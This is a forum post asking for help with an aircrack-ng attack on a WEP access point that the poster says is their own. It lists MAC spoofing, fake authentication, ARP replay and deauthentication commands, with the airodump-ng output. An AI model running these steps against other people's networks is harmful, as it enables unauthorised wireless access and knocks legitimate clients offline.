Hi all,
I'm hacking my AP with 2 laptops: my own with a 3945abg chipset (with ipwraw drivers) and my dad's laptop (don't know which chipset, just to generate ARP's)
What I do:
ifconfig wifi0 down
ifconfig rtap0 down
macchanger -m 00:11:22:33:44:55 wifi0
pico /sys/class/net/wifi0/device/bssid
I change this to the AP mac
/sys/class/net/wifi0/device/channel
I change this to 6 (channel of the AP)
/sys/class/net/wifi0/device/rate
I change this to 2, don't know why, it's just in the wiki 
ifconfig wifi0 up
ifconfig rtap0 up
./airodump-ng -w giveitago -c 6 --bssid macofAP rtap0
(airodump should be runned by rtap0,its in the wiki)
I authenticate:
./aireplay-ng -1 0 -a macap -h 00:11:22:33:44:55 -e essidofap wifi0
12:14:06 Sending Authentication Request
12:14:06 Authentication successful
12:14:06 Sending Association Request
12:14:07 Association successful :-)
Then I start this:
./aireplay-ng -3 -b macap -h 00:11:22:33:44:55 -e essidofap wifi0
To get an ARP request I deauth my dad:
./aireplay-ng --deauth 0 -a macofap -c macofmydad wifi0
Then I get this:
Read 7071 packets (got 6 ARP requests and 498 ACKs), sent 5633 packets...(499 pp
Then I thin: yezzzzzzzz, but I should think noooo 
In airodump:
Code:
CH 6 ][ Elapsed: 3 mins ][ 2007-11-25 00:26
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:90:96:4C:FF:A8 34 554 48 0 6 11 WEP WEP OPN SANTIS50-4CFFA8
BSSID STATION PWR Rate Lost Packets Probes
00:90:96:4C:FF:A8 00:13:02:B0:AE:55 0 0- 0 5 1438 essidofap
00:90:96:4C:FF:A8 00:11:22:33:44:55 0 0- 0 0 935
The 935 raises but the 48 doesn't rase at all 
I read on the airecrack wiki that the problem could be that I'm not associated but I really am I think, because aireplay said associaton succesful.
Somebody an Idea ?
I used the tutorials of xploitz (they are really nice man !), the airecrack wiki and the forums over here. You guys have a really nice forum 
Thanks in advance,
Underdog